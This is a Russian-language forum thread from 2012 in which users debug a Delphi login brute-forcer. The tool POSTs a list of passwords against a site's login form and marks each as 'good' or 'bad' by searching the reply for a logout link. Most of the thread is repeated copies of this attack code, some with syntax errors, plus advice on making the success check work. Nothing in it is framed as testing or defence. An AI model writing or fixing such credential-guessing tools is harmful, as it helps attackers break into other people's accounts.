Помогите почему-то все кидает бад /okay
помогите востановить справедливость :)
var
i:Integer;
info:TStringList;
p:TStringList;
begin
info:=TStringList.Create;
p:=TStringList.Create;
for i:=0 to mmo1.Lines.Count-1 do
begin
info.Add('login='+edt1.Text);
info.Add('password='+mmo1.Lines.Strings[i]);
p.Text:=idhtp1.Post('[Ссылки могут видеть только зарегистрированные и активированные пользователи]тут сайт/',info);
if Pos('logout', p.Text)>0 then
begin
mmo2.Lines.add(mmo1.Lines.Strings[i]+|good);
end
else
begin
mmo2.Lines.add(mmo1.Lines.Strings[i]+|bad);
end;
end;
end;
end.
VeTaL_UA
18.02.2012, 23:07
Помогите почему-то все кидает бад
Уверен, что 'logout' присутствует в ответе сервера?
gum_classis
18.02.2012, 23:44
Помогите почему-то все кидает бад
помогите востановить справедливость
Код:
var
i:Integer;
info:TStringList;
p:TStringList;
begin
info:=TStringList.Create;
p:=TStringList.Create;
for i:=0 to mmo1.Lines.Count-1 do
begin
info.Add('login='+edt1.Text);
info.Add('password='+mmo1.Lines.Strings[i]);
p.Text:=idhtp1.Post('[Ссылки могут видеть только зарегистрированные и активированные пользователи]тут сайт/',info);
if Pos('logout', p.Text)>0 then
begin
mmo2.Lines.add(mmo1.Lines.Strings[i]+|good);
end
else
begin
mmo2.Lines.add(mmo1.Lines.Strings[i]+|bad);
end;
end;
end;
end.
Код ровный, я думаю проблема в парсе!
pavel!
19.02.2012, 00:22
Уверен, что 'logout' присутствует в ответе сервера?
Присутствует не 'logout' ,а 'Выход'
но и выход я тоже пробовал
VeTaL_UA
19.02.2012, 14:41
но и выход я тоже пробовал
Не так пробовал:
var
i:Integer;
info:TStringList;
p:TStringList;
begin
info:=TStringList.Create;
p:=TStringList.Create;
for i:=0 to mmo1.Lines.Count-1 do
begin
info.Add('login='+edt1.Text);
info.Add('password='+mmo1.Lines.Strings[i]);
p.Text:=idhtp1.Post('[Ссылки могут видеть только зарегистрированные и активированные пользователи]тут сайт/',info);
if Pos('Выход',UTF8Decode(p.Text))>0 then
begin
mmo2.Lines.add(mmo1.Lines.Strings[i]+|good);
end
else
begin
mmo2.Lines.add(mmo1.Lines.Strings[i]+|bad);
end;
end;
end;
end.
pavel!
19.02.2012, 15:40
var
i:Integer;
info:TStringList;
p:TStringList;
begin
info:=TStringList.Create;
p:=TStringList.Create;
for i:=0 to mmo1.Lines.Count-1 do
begin
info.Add('user_login='+edt1.Text);
info.Add('password='+mmo1.Lines.Strings[i]);
p.Text:=idhtp1.Post('[Ссылки могут видеть только зарегистрированные и активированные пользователи]',info);
if Pos('Выход',UTF8Decode(p.Text))>0 then
begin
mmo2.Lines.add(mmo1.Lines.Strings[i]+'|good');
end
else
begin
mmo2.Lines.add(mmo1.Lines.Strings[i]+'|bad');
end;
end;
end;
end.
пишит все подряд '|бад' хотя есть валидный аккаунт
Добавлено через 11 минут
var
i:Integer;
info:TStringList;
p:TStringList;
begin
info:=TStringList.Create;
p:=TStringList.Create;
for i:=0 to mmo1.Lines.Count-1 do
begin
info.Add('user_login='+edt1.Text);
info.Add('password='+mmo1.Lines.Strings[i]);
p.Text:=idhtp1.Post('[Ссылки могут видеть только зарегистрированные и активированные пользователи]',info);
if Pos('Выход',UTF8Decode(p.Text))>0 then
begin
mmo2.Lines.add(mmo1.Lines.Strings[i]+'|good');
end
else
begin
mmo2.Lines.add(mmo1.Lines.Strings[i]+'|bad');
end;
end;
end;
end.
пишит все подряд '|бад' хотя есть валидный аккаунт
так же пробовал еще вот так:
var
i:Integer;
info:TStringList;
p:TStringList;
begin
info:=TStringList.Create;
p:=TStringList.Create;
for i:=0 to mmo1.Lines.Count-1 do
begin
info.Add('user_login='+edt1.Text);
info.Add('password='+mmo1.Lines.Strings[i]);
info.Add('re=');
info.Add('_wp_[Ссылки могут видеть только зарегистрированные и активированные пользователи]');
p.Text:=idhtp1.Post('[Ссылки могут видеть только зарегистрированные и активированные пользователи]',info);
if Pos('Выход',UTF8Decode(p.Text))>0 then
begin
mmo2.Lines.add(mmo1.Lines.Strings[i]+'|good');
end
else
begin
mmo2.Lines.add(mmo1.Lines.Strings[i]+'|bad');
end;
end;
end;
end.
VeTaL_UA
19.02.2012, 16:16
var
i:Integer;
info:TStringList;
p:TStringList;
begin
info:=TStringList.Create;
p:=TStringList.Create;
for i:=0 to mmo1.Lines.Count-1 do
begin
info.Add('login='+edt1.Text);
info.Add('password='+mmo1.Lines.Strings[i]);
p.Text:=idhtp1.Post('[Ссылки могут видеть только зарегистрированные и активированные пользователи]тут сайт/',info);
if Pos(UTF8Encode('Выход'),p.Text)>0 then
begin
mmo2.Lines.add(mmo1.Lines.Strings[i]+|good);
end
else
begin
mmo2.Lines.add(mmo1.Lines.Strings[i]+|bad);
end;
end;
end;
end.
Тут всё дела в проверочной строке. Пробуй другую...
pavel!
19.02.2012, 16:40
var
i:Integer;
info:TStringList;
p:TStringList;
begin
info:=TStringList.Create;
p:=TStringList.Create;
for i:=0 to mmo1.Lines.Count-1 do
begin
info.Add('login='+edt1.Text);
info.Add('password='+mmo1.Lines.Strings[i]);
p.Text:=idhtp1.Post('[Ссылки могут видеть только зарегистрированные и активированные пользователи]тут сайт/',info);
if Pos(UTF8Encode('Выход'),p.Text)>0 then
begin
mmo2.Lines.add(mmo1.Lines.Strings[i]+|good);
end
else
begin
mmo2.Lines.add(mmo1.Lines.Strings[i]+|bad);
end;
end;
end;
end.
Тут всё дела в проверочной строке. Пробуй другую...
и сново все в бэд кидает/kidding
gum_classis
19.02.2012, 16:47
А не судьба спарсить что нибудь другое ?
pavel!
19.02.2012, 17:13
а как написать что если гуд то переходило допустим в [Ссылки могут видеть только зарегистрированные и активированные пользователи]тут сайт/профиль заместо 'выход'
Mebius
19.02.2012, 18:55
а как написать что если гуд то переходило допустим в [Ссылки могут видеть только зарегистрированные и активированные пользователи]тут сайт/профиль заместо 'выход'
а как написать если ктулху реально существует - перейти на море и вызвать его?
pavel!
19.02.2012, 19:17
а как написать если ктулху реально существует - перейти на море и вызвать его?
спасибо что помог,твой сарказм привыше всего
Mebius
20.02.2012, 09:22
спасибо что помог,твой сарказм привыше всего
/facepalm где код, где описание, где инфа? телепатов тут нету, если просишь помощи так предоставь то, с чем не получается, никому тут не надо сидеть и разбираться как устроена та или иная фигня для каждого просящего помощь. если многабукф то на это есть споилеры.
заметь, ты дал код, тебе высказали предположения как и что сделать надо. дай инфу по той фигне, которая у тебя не получается, тебе помогут, но еденицы пойдут изучать устройство игры/сайта/неведомой фигни что б помоч.
pavel!
20.02.2012, 13:22
выше тебе не код указан? facepalm
Mebius
20.02.2012, 14:26
выше тебе не код указан? facepalm
[Ссылки могут видеть только зарегистрированные и активированные пользователи]тут сайт/
чет я даже такого сайта найти не могу О_о интернет впервые потерял сайт в своих же просторах. срочно запечатлить этот факт в книге рекордов
что мне твой код даст, эта процедура стандартна для 90% сайтов в рунете.
умник блин >_<
pavel!
20.02.2012, 14:56
[Ссылки могут видеть только зарегистрированные и активированные пользователи] вот сайт =_= у ребят выше находит,а у тебя нет...видимо ты "особая персона" что у тебя не находит.
PS код с сайтом я выкладывал ниже :)
Mebius
20.02.2012, 16:58
[Ссылки могут видеть только зарегистрированные и активированные пользователи] вот сайт =_= у ребят выше находит,а у тебя нет...видимо ты "особая персона" что у тебя не находит.
PS код с сайтом я выкладывал ниже :)
ты сначала посмотри в ту ли тему написал, помощь с граббером в соседней теме /facepalm
MastaDan
01.03.2012, 08:18
pavel!,
Попробовал твой код, так же кидает.
Не "Выход" , а "Выйти"
Выхода там не нашел...странно почему все в бед летит
VeTaL_UA
01.03.2012, 21:46
странно почему все в бед летит
Русские символы не читаются в чистом виде. Декодируй исходный код или кодируй проверочную строку в UTF-8.
MastaDan
07.03.2012, 00:17
усские символы не читаются в чистом виде. Декодируй исходный код или кодируй проверочную строку в UTF-8.
Все способы которые вы указали выше, декодировки, не помогли, а как весь исх. код декодировать ?
А и еще вопрос, в снифере в Пост запросе есть строка (Status Line) "[Ссылки могут видеть только зарегистрированные и активированные пользователи] 200 Simple Response" , ее можно использовать как проверочную строку ?
VeTaL_UA
07.03.2012, 17:15
а как весь исх. код декодировать ?
Один из примеров декодирует весь исходный код.
А и еще вопрос, в снифере в Пост запросе есть строка (Status Line) "[Ссылки могут видеть только зарегистрированные и активированные пользователи] 200 Simple Response" , ее можно использовать как проверочную строку ?
Что? 0_о
MastaDan
07.03.2012, 21:09
Что? 0_о
может я конечно ерись сказал, но в одном чекере в Бед он например записывает акки в мемо так:
[Ссылки могут видеть только зарегистрированные и активированные пользователи] 403 Forbidden | [Ссылки могут видеть только зарегистрированные и активированные пользователи];666666666 |
[Ссылки могут видеть только зарегистрированные и активированные пользователи] 403 Forbidden | [Ссылки могут видеть только зарегистрированные и активированные пользователи];fvfv |
VeTaL_UA
08.03.2012, 09:59
может я конечно ерись сказал, но в одном чекере в Бед он например записывает акки в мемо так:
Очень это смахивает на ошибку...
MastaDan
08.03.2012, 12:33
Вот есть строка
<a onclick="javascript: showBusyLayer()" href="[Ссылки могут видеть только зарегистрированные и активированные пользователи]*******/index.php?action=logout">Выход</a>
В проверочную брать "Выход"?
"Logout" не пойдет?
VeTaL_UA
08.03.2012, 13:24
В проверочную брать "Выход"?
"Logout" не пойдет?
Не обязательно.
Я бы взял это:
/index.php?action=logout">
MastaDan
09.03.2012, 13:34
блин все равно валидный акка в бед кидает
вот отрывок.
var
i,y,s:Integer;
info,p:TStringList;
begin
info:=TStringList.Create;
p:=TStringList.Create;
if rb1.Checked then
for i:=0 to Mmo1.Lines.Count-1 do
begin
info.add('login='+edt1.Text);
info.add('password='+Mmo1.Lines.Strings[i]);
p.Text:=idhtp1.Post('[Ссылки могут видеть только зарегистрированные и активированные пользователи]', info);
if pos('/index.php?action=logout">', p.text)>0 then
begin
mmo2.lines.Add(edt1.Text+';'+Mmo1.Lines.Strings[i]+ ' - ' + 'good');
end
else
begin
mmo2.lines.Add(edt1.Text+';'+Mmo1.Lines.Strings[i]+ ' - ' + 'bad');
end;
end;